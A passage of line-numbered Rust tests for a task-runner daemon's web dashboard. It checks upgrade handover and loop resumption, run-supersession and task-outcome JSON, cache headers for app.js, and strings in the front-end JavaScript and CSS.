13998 assert!(
14000 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
14001 .await
14002 .is_err(),
14003 "a consumed signal must not wake a second time"
14004 );
14005 let signal = std::sync::Arc::new(signal);
14007 let waiter = tokio::spawn({
14008 let signal = std::sync::Arc::clone(&signal);
14009 async move { wait_for_handover(&signal).await }
14010 });
14011 tokio::time::sleep(Duration::from_millis(20)).await;
14012 assert!(!waiter.is_finished(), "nothing was signalled yet");
14013 signal.notify_one();
14014 tokio::time::timeout(Duration::from_secs(5), waiter)
14015 .await
14016 .expect("a late signal wakes the waiter")
14017 .expect("join");
14018 }
14019
14020 #[tokio::test]
14021 async fn health_says_how_long_a_handover_has_been_stuck() {
14022 let fx = Fixture::start().await;
14023 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
14024 progress.advance(crate::updater::Stage::Replaced);
14025 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
14026 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
14027
14028 let health = fx.get("/api/health").await.json();
14029 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14030 assert!(stuck >= 600, "{stuck}");
14031 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
14032 }
14033
14034 fn idle_ui(home: &TempDir) -> Ui {
14035 let runs = home.path().join("runs");
14036 std::fs::create_dir_all(&runs).expect("runs dir");
14037 Ui::new(
14038 Queue::at(home.path().join("queue")),
14039 Questions::at(home.path().join("questions")),
14040 Talks::at(home.path().join("talks")),
14041 runs,
14042 home.path().to_path_buf(),
14043 PathBuf::from("/repo/magi"),
14044 )
14045 .with_launch(launch_idle)
14046 }
14047
14048 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
14050 let looping = ui.looping();
14051 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14052 .await
14053 .expect("bind loopback");
14054 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14055 let told = std::sync::Mutex::new(None);
14056 hand_over(home.path(), &looping, served, |resume| {
14057 *told.lock().unwrap() = Some(resume);
14058 Ok(1)
14059 })
14060 .await
14061 .expect("hand over");
14062 told.into_inner().unwrap().expect("successor was started")
14063 }
14064
14065 #[tokio::test]
14066 async fn a_running_loop_is_resumed_by_the_successor() {
14067 let home = TempDir::new().expect("temp home");
14068 let ui = idle_ui(&home);
14069 ui.start_loop(None).expect("start");
14070 ui.park_for_upgrade().expect("park");
14071 for _ in 0..500 {
14073 if !ui.loop_view(None).running {
14074 break;
14075 }
14076 tokio::time::sleep(Duration::from_millis(2)).await;
14077 }
14078 assert!(handed_over(&home, ui).await, "a running loop must resume");
14079
14080 let successor = idle_ui(&home);
14081 assert!(!successor.loop_view(None).running);
14082 assert!(successor.resume_after_handover(true));
14083 assert!(successor.loop_view(None).running);
14084 successor.stop_loop(None, false).expect("stop");
14085 }
14086
14087 #[tokio::test]
14088 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14089 let home = TempDir::new().expect("temp home");
14090 let ui = idle_ui(&home);
14091 ui.start_loop(None).expect("start");
14092 ui.park_for_upgrade().expect("first park");
14093 ui.park_for_upgrade().expect("second park");
14094 assert!(handed_over(&home, ui).await);
14095 }
14096
14097 #[tokio::test]
14098 async fn a_stop_during_the_handover_wait_is_honoured() {
14099 let home = TempDir::new().expect("temp home");
14100 let ui = idle_ui(&home);
14101 ui.start_loop(None).expect("start");
14102 ui.park_for_upgrade().expect("park");
14103 ui.stop_loop(None, false).expect("stop");
14104 assert!(!handed_over(&home, ui).await);
14105 }
14106
14107 #[tokio::test]
14108 async fn an_idle_loop_stays_stopped_across_the_handover() {
14109 let home = TempDir::new().expect("temp home");
14110 let ui = idle_ui(&home);
14111 ui.park_for_upgrade().expect("park");
14112 assert!(!handed_over(&home, ui).await);
14113
14114 let successor = idle_ui(&home);
14115 assert!(!successor.resume_after_handover(false));
14116 assert!(!successor.loop_view(None).running);
14117 }
14118
14119 #[tokio::test]
14120 async fn a_loop_the_operator_stopped_is_not_resumed() {
14121 let home = TempDir::new().expect("temp home");
14122 let ui = idle_ui(&home);
14123 ui.start_loop(None).expect("start");
14124 ui.stop_loop(None, false).expect("stop");
14125 ui.park_for_upgrade().expect("park");
14126 assert!(!handed_over(&home, ui).await);
14127 }
14128
14129 #[test]
14130 fn only_an_explicit_one_requests_a_resume() {
14131 assert!(!resume_requested(None));
14132 assert!(!resume_requested(Some("0".into())));
14133 assert!(!resume_requested(Some("".into())));
14134 assert!(resume_requested(Some("1".into())));
14135 }
14136
14137 #[test]
14138 fn the_upgrade_button_arms_before_it_restarts_anything() {
14139 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
14142 assert!(APP_JS.contains("Replace the binary and restart?"));
14143 assert!(APP_JS.contains("function confirmed("));
14144 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
14149 assert!(
14153 APP_JS.contains("Parking, then restarting"),
14154 "the button says what it is waiting for"
14155 );
14156 assert!(APP_JS.contains("if (!out.to)"));
14159 }
14160
14161 #[test]
14162 fn stopping_the_loop_arms_but_starting_does_not() {
14163 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
14166 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
14167 assert!(APP_JS.contains("confirmed(button, question)"));
14168 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
14171 assert!(APP_JS.contains("const label = btn.textContent;"));
14172 assert!(!APP_JS.contains("Neither direction is guarded"));
14173 }
14174
14175 #[test]
14176 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
14177 assert!(
14178 APP_JS.contains("state.health.version"),
14179 "the operator wants to know what is running even with nothing newer"
14180 );
14181 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
14182 }
14183
14184 #[test]
14185 fn the_upgrade_button_names_its_destination() {
14186 assert!(
14187 APP_JS.contains("`Update to ${update.to}`"),
14188 "pressing the button should not be a surprise about what it moves to"
14189 );
14190 }
14191
14192 #[test]
14193 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
14194 for stage in ["downloading", "replaced", "parking", "restarting"] {
14195 assert!(
14196 APP_JS.contains(&format!("\"{stage}\"")),
14197 "the phone must be able to tell {stage} apart from the others"
14198 );
14199 }
14200 assert!(APP_JS.contains(".waiting_on"));
14201 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
14206 assert!(APP_JS.contains("reconnects on its own"));
14207 }
14208
14209 #[test]
14210 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
14211 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
14220 ..APP_JS.find("function upgrade(").expect("upgrade")];
14221 assert!(
14222 !body.contains(
14223 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
14224 ),
14225 "a failed upgrade must not take the whole strip over the way it used to"
14226 );
14227 assert!(
14228 body.contains("upgradeFailNote"),
14229 "the failure has to reach the loop's own note instead"
14230 );
14231 assert_eq!(
14235 body.matches("upgradeFailNote].filter(Boolean).join")
14236 .count(),
14237 2,
14238 "both loop-why writers (quiet and control) must fold the note in"
14239 );
14240 }
14241
14242 #[test]
14243 fn an_overdue_upgrade_eventually_asks_for_a_human() {
14244 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
14247 assert!(APP_JS.contains("function upgradeOverdue("));
14248 }
14249
14250 #[test]
14251 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
14252 assert!(
14253 APP_JS.contains("Updated to ${upgradeInfo.to"),
14254 "the operator who asked for the restart wants to know it worked"
14255 );
14256 }
14257
14258 #[test]
14259 fn an_error_is_visible_from_where_the_button_is() {
14260 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
14265 ..APP_CSS.find(".alert-text").expect(".alert-text")];
14266 assert!(
14267 alert.contains("position: fixed"),
14268 "an error about the thing under your thumb has to be visible from \
14269 where your thumb is: {alert}"
14270 );
14271 assert!(
14272 alert.contains("z-index: 25"),
14273 "above the dock (20) and the run-actions FAB (15), so neither \
14274 buries it: {alert}"
14275 );
14276 assert!(
14277 alert.contains("var(--tap)"),
14278 "and clear of the dock and the home indicator: {alert}"
14279 );
14280 assert!(
14283 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
14284 "the FAB's column stays free: {alert}"
14285 );
14286 }
14287
14288 #[tokio::test]
14289 async fn an_older_attempt_says_what_replaced_it() {
14290 let fx = Fixture::start().await;
14291 let q = fx.queue();
14292 let runs = fx.runs();
14293 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14294 write_run(&runs, first, RunStatus::Stalled);
14295 write_run(&runs, second, RunStatus::Blocked);
14296
14297 let mut t = Task::new(
14298 "one task".to_owned(),
14299 "do it".to_owned(),
14300 PathBuf::from("/repo"),
14301 Source::Human,
14302 );
14303 t.runs = vec![first.to_owned(), second.to_owned()];
14304 q.put(&mut t).expect("put");
14305
14306 let rows = fx.get("/api/runs").await.json();
14310 let by = |short: &str| -> Value {
14311 rows.as_array()
14312 .unwrap()
14313 .iter()
14314 .find(|r| r["short"] == short)
14315 .cloned()
14316 .unwrap_or(Value::Null)
14317 };
14318 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
14319 assert!(
14320 by("bbbb")["superseded_by"].is_null(),
14321 "the latest attempt is not superseded by anything"
14322 );
14323 assert!(APP_JS.contains("run.superseded_by"));
14325 assert!(APP_JS.contains("Superseded by"));
14326 }
14327
14328 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
14329 let mut t = Task::new(
14330 "one task".to_owned(),
14331 "do it".to_owned(),
14332 PathBuf::from("/repo"),
14333 Source::Human,
14334 );
14335 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
14336 t.status = status;
14337 t
14338 }
14339
14340 #[test]
14341 fn source_link_picks_the_page_that_filed_the_task() {
14342 let agent = |node: &str| Source::Agent {
14343 run: "20260904-014455-ab12".to_owned(),
14344 node: node.to_owned(),
14345 };
14346 let chat = source_link(&agent("chat")).expect("chat link");
14347 assert_eq!(chat.kind, "chat");
14348 assert_eq!(chat.id, "20260904-014455-ab12");
14349 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
14350 let run = source_link(&agent("implement")).expect("run link");
14351 assert_eq!(
14352 (run.kind, run.href.as_str()),
14353 ("run", "#/runs/20260904-014455-ab12")
14354 );
14355 assert_eq!(source_link(&Source::Human), None);
14356 assert_eq!(
14357 source_link(&Source::Issue {
14358 number: 3,
14359 repo: "o/r".to_owned()
14360 }),
14361 None
14362 );
14363 let odd = source_link(&Source::Agent {
14364 run: "a b/c".to_owned(),
14365 node: "chat".to_owned(),
14366 })
14367 .expect("link");
14368 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
14369 }
14370
14371 #[test]
14372 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
14373 assert!(
14374 !APP_JS.contains("src.node === \"chat\""),
14375 "inline href rule is back"
14376 );
14377 assert!(
14378 APP_JS.matches("sourceLinkOf(").count() >= 4,
14379 "helper must serve every page"
14380 );
14381 assert!(
14382 APP_JS.matches("openChatLink(").count() >= 3,
14383 "the run page still needs its explicit chat link"
14384 );
14385 assert!(
14386 !APP_JS.contains("const openChat = el("),
14387 "the Queue card duplicates its source label link again"
14388 );
14389 assert!(
14390 APP_JS.contains("metaKids.push(link ? el(\"a\""),
14391 "the task page must link a chat source label too"
14392 );
14393 }
14394
14395 #[test]
14396 fn task_ref_carries_the_source_link_for_a_chat_task() {
14397 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14398 t.source = Source::Agent {
14399 run: "20260904-014455-ab12".to_owned(),
14400 node: "chat".to_owned(),
14401 };
14402 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
14403 let v = serde_json::to_value(&out).expect("json");
14404 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
14405 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
14406 assert_eq!(v["source_label"], t.source.label());
14407
14408 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
14409 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
14410 .expect("json");
14411 assert!(v["source_link"].is_null(), "{v}");
14412 }
14413
14414 #[test]
14415 fn task_view_serializes_source_link() {
14416 let mut t = Task::new(
14417 "t".to_owned(),
14418 "t".to_owned(),
14419 PathBuf::from("/repo"),
14420 Source::Agent {
14421 run: "20260901-000000-aaaa".to_owned(),
14422 node: "implement".to_owned(),
14423 },
14424 );
14425 t.runs.clear();
14426 let v = serde_json::to_value(TaskView::from(t)).expect("json");
14427 assert_eq!(v["source_link"]["kind"], "run", "{v}");
14428 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
14429 }
14430
14431 #[tokio::test]
14432 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
14433 let fx = Fixture::start().await;
14434 let runs = fx.runs();
14435 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14436 write_run(&runs, old, RunStatus::Blocked);
14437 write_run(&runs, new, RunStatus::Merged);
14438 let mut t = outcome_task(&[old, new], TaskStatus::Done);
14439 fx.queue().put(&mut t).expect("put");
14440
14441 let view = fx.get(&format!("/api/runs/{old}")).await.json();
14442 let task = &view["task"];
14443 assert_eq!(task["status"], "done");
14444 assert_eq!(task["is_latest"], false);
14445 assert_eq!(task["latest"]["short"], "bbbb");
14446 assert_eq!(task["finished_by"]["id"], new);
14447 assert_eq!(task["finished_by"]["outcome"], "merged");
14448 assert_eq!(task["closed_by_hand"], false);
14449 assert_eq!(view["status"], "blocked", "the run keeps its own status");
14450 assert!(APP_JS.contains("finished_by"));
14451 assert!(APP_JS.contains("superseded by run"));
14452 }
14453
14454 #[tokio::test]
14455 async fn the_latest_run_reports_a_held_task_without_a_successor() {
14456 let fx = Fixture::start().await;
14457 let runs = fx.runs();
14458 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
14459 write_run(&runs, old, RunStatus::Stalled);
14460 write_run(&runs, new, RunStatus::Blocked);
14461 let mut t = outcome_task(&[old, new], TaskStatus::Held);
14462 fx.queue().put(&mut t).expect("put");
14463
14464 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14465 assert_eq!(task["status"], "held");
14466 assert_eq!(task["is_latest"], true);
14467 assert!(task["latest"].is_null());
14468 assert!(task["finished_by"].is_null());
14469 assert_eq!(task["closed_by_hand"], false);
14470 }
14471
14472 #[tokio::test]
14473 async fn a_direct_run_has_no_task_outcome() {
14474 let fx = Fixture::start().await;
14475 let runs = fx.runs();
14476 let id = "20260901-000000-aaaa";
14477 write_run(&runs, id, RunStatus::Blocked);
14478 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14479 assert!(view["task"].is_null());
14480 }
14481
14482 #[test]
14483 fn task_outcome_does_not_guess_a_finishing_run() {
14484 let a = "20260901-000000-aaaa";
14485 let b = "20260901-000000-bbbb";
14486 let c = "20260901-000000-cccc";
14487 let dir = tempfile::tempdir().expect("tempdir");
14488 write_run(dir.path(), a, RunStatus::Blocked);
14489 write_run(dir.path(), b, RunStatus::VerifiedNoop);
14490 let read = |id: &str| read_run(dir.path(), id).ok();
14492 let t = outcome_task(&[a, b, c], TaskStatus::Done);
14495 let out = task_outcome(&t, a, 3, read);
14496 assert!(out.finished_by.is_none());
14497 assert!(out.closed_by_hand);
14498 let latest = out.latest.expect("latest");
14499 assert_eq!(latest.id, c);
14500 assert_eq!(latest.status, None);
14501 assert_eq!(latest.outcome, "record unreadable");
14502
14503 write_run(dir.path(), c, RunStatus::Ready);
14505 let t = outcome_task(&[a, c], TaskStatus::Done);
14506 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
14507 assert_eq!(out.finished_by.expect("finisher").id, c);
14508 assert!(!out.closed_by_hand);
14509
14510 let t = outcome_task(&[a, b, a], TaskStatus::Held);
14512 assert!(task_outcome(&t, a, 3, read).is_latest);
14513 }
14514
14515 #[tokio::test]
14516 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
14517 let fx = Fixture::start().await;
14522 let q = fx.queue();
14523 let runs = fx.runs();
14524 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
14525 write_run(&runs, first, RunStatus::Blocked);
14526 write_run(&runs, second, RunStatus::Merged);
14527
14528 let mut t = Task::new(
14529 "one task".to_owned(),
14530 "do it".to_owned(),
14531 PathBuf::from("/repo"),
14532 Source::Human,
14533 );
14534 t.runs = vec![first.to_owned(), second.to_owned()];
14535 q.put(&mut t).expect("put");
14536
14537 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
14538 assert_eq!(earlier["superseded_by"], "dddd");
14539 assert_eq!(earlier["latest_attempt"]["id"], second);
14540 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
14541 assert_eq!(
14542 earlier["latest_attempt"]["resolved"], true,
14543 "the run that replaced it landed, so this one reads as settled"
14544 );
14545
14546 let later = fx.get(&format!("/api/runs/{second}")).await.json();
14547 assert!(
14548 later["superseded_by"].is_null(),
14549 "the latest attempt is not superseded by anything"
14550 );
14551 assert!(
14552 later["latest_attempt"].is_null(),
14553 "the latest attempt has no later attempt of its own"
14554 );
14555
14556 assert!(APP_JS.contains("run.latest_attempt"));
14563 assert!(APP_JS.contains("data-superseded"));
14564 assert!(APP_JS.contains("#/runs/${latest.id}"));
14565 }
14566
14567 #[tokio::test]
14568 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
14569 let fx = Fixture::start().await;
14575 let q = fx.queue();
14576 let runs = fx.runs();
14577 let (a, b, c) = (
14578 "20260901-000000-aaaa",
14579 "20260901-000000-bbbb",
14580 "20260901-000000-cccc",
14581 );
14582 write_run(&runs, a, RunStatus::Blocked);
14583 write_run(&runs, b, RunStatus::Blocked);
14584 write_run(&runs, c, RunStatus::Merged);
14585
14586 let mut t = Task::new(
14587 "retried twice".to_owned(),
14588 "do it".to_owned(),
14589 PathBuf::from("/repo"),
14590 Source::Human,
14591 );
14592 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
14593 q.put(&mut t).expect("put");
14594
14595 let view = fx.get(&format!("/api/runs/{a}")).await.json();
14596 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
14597 assert_eq!(
14598 view["latest_attempt"]["id"], c,
14599 "the chain's current head, not the intermediate Blocked retry"
14600 );
14601 assert_eq!(view["latest_attempt"]["resolved"], true);
14602
14603 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
14604 assert_eq!(mid["latest_attempt"]["id"], c);
14605 assert_eq!(mid["latest_attempt"]["resolved"], true);
14606 }
14607
14608 #[tokio::test]
14609 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
14610 let fx = Fixture::start().await;
14611 let q = fx.queue();
14612 let runs = fx.runs();
14613
14614 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
14617 write_run(&runs, still_blocked_a, RunStatus::Blocked);
14618 write_run(&runs, still_blocked_b, RunStatus::Blocked);
14619 let mut t1 = Task::new(
14620 "still stuck".to_owned(),
14621 "do it".to_owned(),
14622 PathBuf::from("/repo"),
14623 Source::Human,
14624 );
14625 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
14626 q.put(&mut t1).expect("put");
14627 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
14628 assert_eq!(view1["latest_attempt"]["resolved"], false);
14629 assert_eq!(view1["latest_attempt"]["status"], "blocked");
14630 assert_eq!(view1["latest_attempt"]["done"], true);
14631
14632 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
14634 write_run(&runs, run_a, RunStatus::Blocked);
14635 write_run(&runs, run_b, RunStatus::Implementing);
14636 let mut t3 = Task::new(
14637 "retrying".to_owned(),
14638 "do it".to_owned(),
14639 PathBuf::from("/repo"),
14640 Source::Human,
14641 );
14642 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
14643 q.put(&mut t3).expect("put");
14644 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
14645 assert_eq!(view3["latest_attempt"]["id"], run_b);
14646 assert_eq!(view3["latest_attempt"]["resolved"], false);
14647 assert_eq!(view3["latest_attempt"]["done"], false);
14648
14649 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
14654 write_run(&runs, noop_a, RunStatus::Blocked);
14655 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
14656 let mut t2 = Task::new(
14657 "claims done".to_owned(),
14658 "do it".to_owned(),
14659 PathBuf::from("/repo"),
14660 Source::Human,
14661 );
14662 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
14663 q.put(&mut t2).expect("put");
14664 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
14665 assert_eq!(
14666 view2["latest_attempt"]["resolved"], false,
14667 "an unverified no-op claim must not read as a confirmed finish"
14668 );
14669
14670 assert!(APP_JS.contains("latest.resolved"));
14673 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14676 assert!(APP_JS.contains("Latest attempt: "));
14677 assert!(APP_JS.contains("in flight"));
14678 assert!(APP_JS.contains("not resolved"));
14679 }
14680
14681 #[tokio::test]
14682 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14683 let fx = Fixture::start().await;
14684 let js = fx.get("/app.js").await;
14690 assert_eq!(js.status, 200);
14691 let tag = js
14692 .header("etag")
14693 .expect("an etag to revalidate against")
14694 .to_owned();
14695 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14696 assert_eq!(
14697 js.header("cache-control"),
14698 Some("no-cache, must-revalidate"),
14699 "the phone has to ask every time"
14700 );
14701
14702 let again = fx
14705 .get_with("/app.js", &[("if-none-match", tag.as_str())])
14706 .await;
14707 assert_eq!(
14708 again.status, 304,
14709 "a deck it already has costs one round trip"
14710 );
14711 assert!(again.body.is_empty(), "304 carries no body");
14712
14713 let weak = fx
14716 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14717 .await;
14718 assert_eq!(weak.status, 304);
14719 let stale = fx
14720 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14721 .await;
14722 assert_eq!(stale.status, 200, "an older build must be replaced");
14723 assert!(stale.body.contains("renderRunActions"));
14724 }
14725
14726 #[test]
14727 fn the_task_detail_has_an_actions_fab_and_sheet() {
14728 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14729 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14730 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14731 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14733 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14734 assert!(APP_JS.contains("renderTaskActions(task);"));
14736 assert!(APP_JS.contains("renderTaskActions(null);"));
14737 let sheet = APP_JS
14739 .find("function renderTaskActions")
14740 .expect("sheet renderer");
14741 let body = &APP_JS[sheet..sheet + 3000];
14742 assert!(body.contains("changePriority("));
14743 assert!(body.contains("openTaskEdit(task)"));
14744 assert!(body.contains("renderTaskHoldBox(host"));
14745 assert!(body.contains("renderTaskDoneBox(host"));
14746 assert!(body.contains("renderTaskDeleteBox(host"));
14747 assert!(APP_JS.contains("API.priority(id)"));
14748 assert!(APP_JS.contains("API.deleteTask(id)"));
14749 assert!(APP_JS.contains("location.hash = \"#/queue\""));
14751 assert!(APP_JS.contains("$(\"task-actions-error\")"));
14753 }
14754
14755 #[test]
14756 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14757 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14758 let actions = INDEX_HTML
14759 .find("id=\"run-actions-box\"")
14760 .expect("actions box");
14761 assert!(task < actions, "the task entry comes first in the sheet");
14762 assert!(APP_JS.contains("renderRunTaskEntry"));
14763 assert!(APP_JS.contains("\"Open task \""));
14764 assert!(APP_JS.contains("started directly, no task"));
14766 assert!(APP_JS.contains("sheet-task-link"));
14767 assert!(APP_JS.contains("task-chip-link"));
14768 }
14769
14770 #[test]
14771 fn the_deck_never_sends_the_operator_to_a_terminal() {
14772 assert!(
14775 !APP_JS.contains("Run `magi fold` first"),
14776 "the deck must offer the fold, not prescribe a shell command"
14777 );
14778 assert!(APP_JS.contains("foldRun:"));
14779 assert!(APP_JS.contains("resumeRun:"));
14780 assert!(APP_JS.contains("renderRunActions"));
14781
14782 assert!(APP_JS.contains("armedFold"));
14784 assert!(APP_JS.contains("Yes, fold worktrees"));
14785
14786 assert!(APP_JS.contains("can no longer be resumed"));
14789 }
14790
14791 #[test]
14792 fn a_finished_run_explains_itself_with_its_own_last_line() {
14793 assert!(
14799 !APP_JS.contains("collapsed on agent quota"),
14800 "a stall must not be explained by a cause the deck did not check"
14801 );
14802 assert!(
14803 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14804 "and a block must not offer a guess with an `or` in it"
14805 );
14806
14807 assert!(
14811 APP_JS.contains("setText(r.event, run.event || \"\")"),
14812 "the run's last line is rendered unconditionally"
14813 );
14814 assert!(
14815 !APP_JS.contains("moving && run.event"),
14816 "and never gated on the run still moving"
14817 );
14818
14819 assert!(APP_JS.contains("lost to quota"));
14821 }
14822
14823 #[test]
14845 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14846 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14847 let shapes_body_start =
14848 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14849 let shapes_close = APP_JS[shapes_body_start..]
14850 .find("].map(")
14851 .expect("the shape list is closed by its done-computing .map(...)")
14852 + shapes_body_start;
14853 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14854
14855 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14856 for entry in shapes_src.split('{').skip(1) {
14857 let waiting = entry.contains("waiting: true");
14858 let dead = entry.contains("live: \"dead\"");
14859 let status_at =
14860 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14861 let status_end = entry[status_at..]
14862 .find('"')
14863 .expect("the status string is closed")
14864 + status_at;
14865 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14866 }
14867 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14868
14869 let done_rule_marker = "done: !";
14873 let done_rule_at = APP_JS[shapes_close..]
14874 .find(done_rule_marker)
14875 .expect("the done rule follows the shape list")
14876 + shapes_close
14877 + done_rule_marker.len();
14878 let includes_at = APP_JS[done_rule_at..]
14879 .find(".includes(shape.status)")
14880 .expect("the done rule ends in .includes(shape.status)")
14881 + done_rule_at;
14882 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14883 .trim()
14884 .trim_start_matches('[')
14885 .trim_end_matches(']')
14886 .split(',')
14887 .map(|s| s.trim().trim_matches('"'))
14888 .filter(|s| !s.is_empty())
14889 .collect();
14890
14891 let shapes: Vec<(bool, String, bool, bool)> = shapes
14892 .into_iter()
14893 .map(|(waiting, status, dead)| {
14894 let done = !not_done.contains(&status.as_str());
14895 (waiting, status, dead, done)
14896 })
14897 .collect();
14898
14899 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14903 if waiting {
14904 return "waiting";
14905 }
14906 if dead
14907 && !matches!(
14908 status,
14909 "merged"
14910 | "ready"
14911 | "stalled"
14912 | "blocked"
14913 | "failed"
14914 | "verified_noop"
14915 | "superseded"
14916 | "already_in_base"
14917 )
14918 {
14919 return "stale";
14920 }
14921 match status {
14922 "merged" | "ready" => "landed",
14923 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14924 | "already_in_base" => "ended",
14925 _ => "flight",
14926 }
14927 }
14928
14929 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14932 match filter_key {
14933 "active" => !done,
14934 "flight" => !done && !waiting && !dead,
14935 "stale" => !done && !waiting && dead,
14936 "waiting" => waiting,
14937 "done" => done,
14938 "all" => true,
14939 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14940 }
14941 }
14942
14943 let compatible = |section: &str, filter_key: &str| {
14944 shapes.iter().any(|(waiting, status, dead, done)| {
14945 run_section(*waiting, status, *dead) == section
14946 && filter_matches(filter_key, *waiting, *dead, *done)
14947 })
14948 };
14949
14950 let expected = [
14955 ("waiting", [true, false, false, true, true, true]),
14956 ("stale", [true, false, true, false, false, true]),
14957 ("flight", [true, true, false, false, false, true]),
14958 ("landed", [false, false, false, false, true, true]),
14959 ("ended", [false, false, false, false, true, true]),
14960 ];
14961 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14962
14963 for (section, wants) in expected {
14964 for (filter_key, want) in filter_keys.iter().zip(wants) {
14965 assert_eq!(
14966 compatible(section, filter_key),
14967 want,
14968 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14969 );
14970 }
14971 }
14972
14973 assert!(
14976 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14977 );
14978 assert!(APP_JS.contains(
14979 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14980 ));
14981 assert!(APP_JS.contains(
14982 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14983 ));
14984 }
14985
14986 #[tokio::test]
14987 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14988 let dir = tempfile::tempdir().expect("tempdir");
14992 let explicit = dir.path().join("not-a-checkout");
14993 std::fs::create_dir_all(&explicit).expect("create dir");
14994 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
